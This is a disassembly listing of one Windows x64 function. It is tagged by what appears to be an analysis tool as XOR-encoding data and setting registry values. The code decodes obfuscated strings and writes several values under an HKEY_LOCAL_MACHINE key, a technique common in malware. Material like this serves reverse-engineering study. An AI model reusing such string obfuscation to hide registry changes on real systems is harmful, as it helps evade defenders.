Function at 0x140002990
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0xc0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x140010040]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rsi, rdx
mov rdi, rcx
movups xmm0, xmmword [str.aJGASZdzOINXPK]
movups xmmword [rbp - 0x39], xmm0
movups xmm1, xmmword [0x14000b9a0]
movups xmmword [rbp - 0x29], xmm1
movzx eax, word [0x14000b9b0]
mov word [rbp - 0x19], ax
movzx eax, byte [0x14000b9b2]
mov byte [rbp - 0x17], al
xor ebx, ebx
mov ecx, ebx
movdqa xmm6, xmmword [0x14000bd90]
mov r14d, dword [0x140010090]
cmp r14d, 2
jl 0x140002b24
movdqa xmm4, xmmword [0x14000bd30]
movdqa xmm3, xmmword [0x14000bdc0]
movdqa xmm5, xmmword [str.5555]
movdqa xmm0, xmmword [0x14000bdb0]
movdqa xmmword [rbp - 9], xmm0
lea rdx, [rbp - 0x35]
mov r8d, dword [rbp - 9]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140002a40
cmp ecx, 0x23
jge 0x140002b5c
movsxd rax, ecx
lea r8, [rbp - 0x39]
add r8, rax
nop
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x23
jl 0x140002b30
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f], xmm1
lea rax, [rbp - 0x39]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], bl
jne 0x140002b76
lea rdx, [rbp - 0x39]
lea rcx, [rbp + 0xf]
call fcn.1400060f0
nop
mov r8, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 0xf
jbe 0x140002b9b
mov rsi, qword [rsi]
mov rdx, rsi
lea rcx, [rbp + 0xf]
call fcn.140005b00
lea rdx, [rbp + 0xf]
cmp qword [rbp + 0x27], 0xf
cmova rdx, qword [rbp + 0xf]
lea r8, [rbp - 9]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x140002ee8
mov byte [rbp + 7], 1
mov eax, dword [str.fJDP6]
mov dword [rbp - 0x49], eax
movzx eax, byte [0x14000b904]
mov byte [rbp - 0x49], 0x54
xor byte [rbp - 0x48], 0x33
xor byte [rbp - 0x47], 0x34
xor byte [rbp - 0x46], 0x35
xor al, 0x36
mov byte [rbp - 0x45], al
mov dword [rsp + 0x28], 4
lea rax, [rbp + 7]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp - 0x49]
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140002ee8
mov byte [rbp + 8], 3
movsd xmm0, qword [str.wAFZDtWWNISQ_]
movsd qword [rbp - 0x49], xmm0
mov ecx, dword [0x14000b870]
mov dword [rbp - 0x41], ecx
movzx eax, byte [0x14000b874]
mov byte [rbp - 0x3d], al
cmp r14d, 2
jl 0x140002d95
movdqa xmm4, xmmword [0x14000bdc0]
movdqa xmm5, xmmword [str.5555]
movdqa xmm3, xmmword [0x14000bd30]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
mov eax, dword [0x14000bdb0]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.wAFZDtWWNISQ_]
xorps xmm3, xmm0
movd dword [rbp - 0x49], xmm3
movdqa xmm2, xmmword [0x14000bd40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x45]
xorps xmm2, xmm1
movd dword [rbp - 0x45], xmm2
movdqa xmm3, xmmword [0x14000bd50]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, ecx
xorps xmm3, xmm1
movd dword [rbp - 0x41], xmm3
mov ebx, 0xc
mov eax, ebx
lea r8, [rbp - 0x49]
add r8, rax
nop
mov eax, 0x4d4873ed
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0xd
jl 0x140002da0
mov dword [rsp + 0x28], 4
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp - 0x49]
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140002ee8
mov byte [rbp + 9], 3
mov eax, dword [str.aGUGB7]
mov dword [rbp - 0x49], eax
movzx eax, word [0x14000ba04]
mov word [rbp - 0x45], ax
mov byte [rbp - 0x49], 0x53
xor byte [rbp - 0x48], 0x33
xor byte [rbp - 0x47], 0x34
xor byte [rbp - 0x46], 0x35
xor al, 0x36
mov byte [rbp - 0x45], al
xor byte [rbp - 0x44], 0x37
mov dword [rsp + 0x28], 4
lea rax, [rbp + 9]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rbp - 0x49]
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140002ee8
mov ecx, dword [rdi + 0x10]
cmp qword [rdi + 0x18], 0xf
jbe 0x140002e6a
mov rdi, qword [rdi]
movsd xmm0, qword [str.URSgYMR_]
movsd qword [rbp - 0x49], xmm0
movzx eax, word [0x14000b8d0]
mov word [rbp - 0x41], ax
cmp byte [0x14000b8d1], 0
je 0x140002eb3
mov byte [rbp - 0x49], 0x49
xor byte [rbp - 0x48], 0x33
xor byte [rbp - 0x47], 0x34
xor byte [rbp - 0x46], 0x35
xor byte [rbp - 0x45], 0x36
xor byte [rbp - 0x44], 0x37
xor byte [rbp - 0x43], 0x38
xor byte [rbp - 0x42], 0x39
xor byte [rbp - 0x41], 0x3a
xor byte [rbp - 0x40], 0x3b
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, [rbp - 0x49]
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140002ee8
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
sete bl
jmp 0x140002eea
xor bl, bl
mov rdx, qword [rbp + 0x27]
cmp rdx, 0xf
jbe 0x140002f28
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f23
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f23
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140009634
movzx eax, bl
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140009270
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret